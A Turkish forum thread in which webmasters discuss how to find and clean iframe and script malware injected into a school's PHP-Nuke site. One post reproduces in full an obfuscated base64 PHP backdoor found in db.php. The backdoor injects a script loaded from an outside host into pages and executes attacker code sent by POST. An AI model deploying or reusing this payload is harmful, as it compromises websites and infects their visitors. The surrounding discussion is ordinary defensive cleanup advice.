Bütün Php Dosyalarının İçinde

Question

Merhaba arkadaşlar.

Elimde bir okulun ftp dosyaları var. Bildiğimiz phpnuke ile yapılmış. Şimdi o kadar dosyanın içinde <iframe= ve <script= aramalarını yapmak ve iframe kodu atılmış sayfaları bulmak istiyorum. 

Aslında sıfır olarak scripti atmak istiyordum fakat bir sürü editleme yapılmış. yeni atmak istemiyorum.

Bu aramayı nasıl yapmam gerekiyor?

eemmrraahh · Answer

php txt asp vs text dosyalarında arama yapıp değiştiren programlar var onları kullanabilirsin.

SoLeNZa.NeT · Answer

Şöyle;

CuteFTP programıyla root dizine (httpdocs veya www) gelirsiniz. Tıklayıp girersiniz. Şuanda tüm site dosyaları gözünüzün önündedir.

Ayrıdan klavyesden Ctrl+F ( Bilinen Arama kısa yolu) yazarsınız. Karşısına gelen pencerenin ilgili kısmına <iframe> veya o zararlı kodun ilk 6-7 karakterini yazarsınız.Ama bir kod blogu yazsanız daha faydalı olur.

alttaki 3 bölümü işaretleyin ki; aramalarda herhangi bi nokta gözden kaçmasın.

Tüm o kodu içeren dosyalarınız pencerenin aşağısında listelenir.

Umarım işinize yarar

eemmrraahh · Answer

SoLeNZa.NeT adlı üyeden alıntı:						mesajı görüntüle									Şöyle;

CuteFTP programıyla root dizine (httpdocs veya www) gelirsiniz. Tıklayıp girersiniz. Şuanda tüm site dosyaları gözünüzün önündedir.

Ayrıdan klavyesden Ctrl+F ( Bilinen Arama kısa yolu) yazarsınız. Karşısına gelen pencerenin ilgili kısmına <iframe> veya o zararlı kodun ilk 6-7 karakterini yazarsınız.Ama bir kod blogu yazsanız daha faydalı olur.

alttaki 3 bölümü işaretleyin ki; aramalarda herhangi bi nokta gözden kaçmasın.

Tüm o kodu içeren dosyalarınız pencerenin aşağısında listelenir.

Umarım işinize yarar  		bak bu güzel oldu bilmiyordum bunu. Programla uğraş dur yapıyordum fakat şöyle bi durum var işin ilginç tarafı  bu frame virüsleri genelde ftp programlarından özelliklede cute ftp programından bulaşıyor. Programda kayıtlı bulunan şifrelerden giriş yapıp tekrar atıyor frame virüsünü. Programı kaldırıp tekrar kursanız bile devam ediyor. Ben pc yi formatlamadan kurtulamadım açıkcası bu meretten. yada cute ftp kullanmayacaksın

SoLeNZa.NeT · Answer

çaresi var  önce panelden girip, cpanel veya plesk herneyse, önce tüm şifrelerini değiştireceksin.Ardından, walware ve benzeri zararlı yazılım temizleyen programlarla makinanızı birkaç kez taratacaksınız. hassas yazılımlarla taratmanız daha sağlıklık olur.Spydoctor gibi...

ardından, cute ftp'deki verileride silin. veya komple kaldırın.

gerekiyorsa, ccleaner gibi programlarla, hem çerezlerinizi,hem cache belleği temizleyin.

regcleaner ilede, makinanın reg kayıtlarını bi temizleyin, ne olur ne olmaz  taratmada temizlenen virüs veya zararlı yazılımlar, reg'ede kaydedilmiş olabilir çünkü.

ardınan kurun cuteftp'yi, ve temizlemeye başlayın.

ardından, yani tüm temizlik bitince - aynı işlemleri yaparak,içinizin rahat etmesini kendinize garanti edin.

demokratik · Answer

yardımlarınız için teşekkür ederim.

TeXaS · Answer

dosyaları bilgisayarına çekip ve Advanced Find and Replace 4 bu programı ile bulunduğu klasoru seçip ilgili kelimeyi yazdıktan sonra nerelerde o kelime var bulabilirsin

Stormy · Answer

http://www.r10.net/php/359193-siteni...hp-script.html

işini görecektir.

demokratik · Answer

<?php eval(base64_decode('aWYoIWlzc2V0KCR6MHliMSkpe2
Z1bmN0aW9uIHoweWIoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNj
cmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVs
wXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1
wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChc
KV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCss
KXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdik
mJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnB
vcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJyc
sJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9
W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJG
FbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8w
KlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdH
IoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2L
CcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhP
WJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyWnZkRzkwY
UdocExtSmxMMmx0WVdkbGN5OXBibVJsZUM1d2FIQWdQand2YzJOeWFYQjBQZz09J

yksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWN
lKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcyw
nLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiB6MHliMigkYSwkYiwkYywk
ZCl7Z2xvYmFsICR6MHliMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkej
B5YjEpKWNhbGxfdXNlcl9mdW5jKCR6MHliMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd6MHliJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3oweWInKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kejB5Ymw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3oweWIyJykpIT0nejB5YjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?phpkodu çalıştırmayınız. db.php nin en üstünden...

demokratik · Answer

SoLeNZa.NeT adlı üyeden alıntı:						mesajı görüntüle									Şöyle;

CuteFTP programıyla root dizine (httpdocs veya www) gelirsiniz. Tıklayıp girersiniz. Şuanda tüm site dosyaları gözünüzün önündedir.

Ayrıdan klavyesden Ctrl+F ( Bilinen Arama kısa yolu) yazarsınız. Karşısına gelen pencerenin ilgili kısmına <iframe> veya o zararlı kodun ilk 6-7 karakterini yazarsınız.Ama bir kod blogu yazsanız daha faydalı olur.

alttaki 3 bölümü işaretleyin ki; aramalarda herhangi bi nokta gözden kaçmasın.

Tüm o kodu içeren dosyalarınız pencerenin aşağısında listelenir.

Umarım işinize yarar  		verdiğiniz bilgi yanlış yalnız. dosya adları aranabiliyor. ben dosyaların içeriğini aratacak bir şey arıyorum.

sesar · Answer

Tek tek notepad ++ ile dosyaları açıp aratma yapmak.
Ben böyle yapmıştım.

sesar · Answer

Tek tek notepad ++ ile dosyaları açıp aratma yapmak.
Ben böyle yapmıştım.

taylan2805 · Answer

dreamweaver da ftp hesabı ac dosyaları localden yukle. kodlarda arama yaptır. tek seferde bulabilirsin istedigin kelimeyi.

mrtoxic · Answer

frame virusu için yakında antivirus yazacam biri kodları koyabilirmi acaba frame virusunun

BarCode · Answer

Saho' nun sitesinde, bununla ilgili bir script vardı. www.saho.in ..

Bütün Php Dosyalarının İçinde <iframe= var mı diye aratmak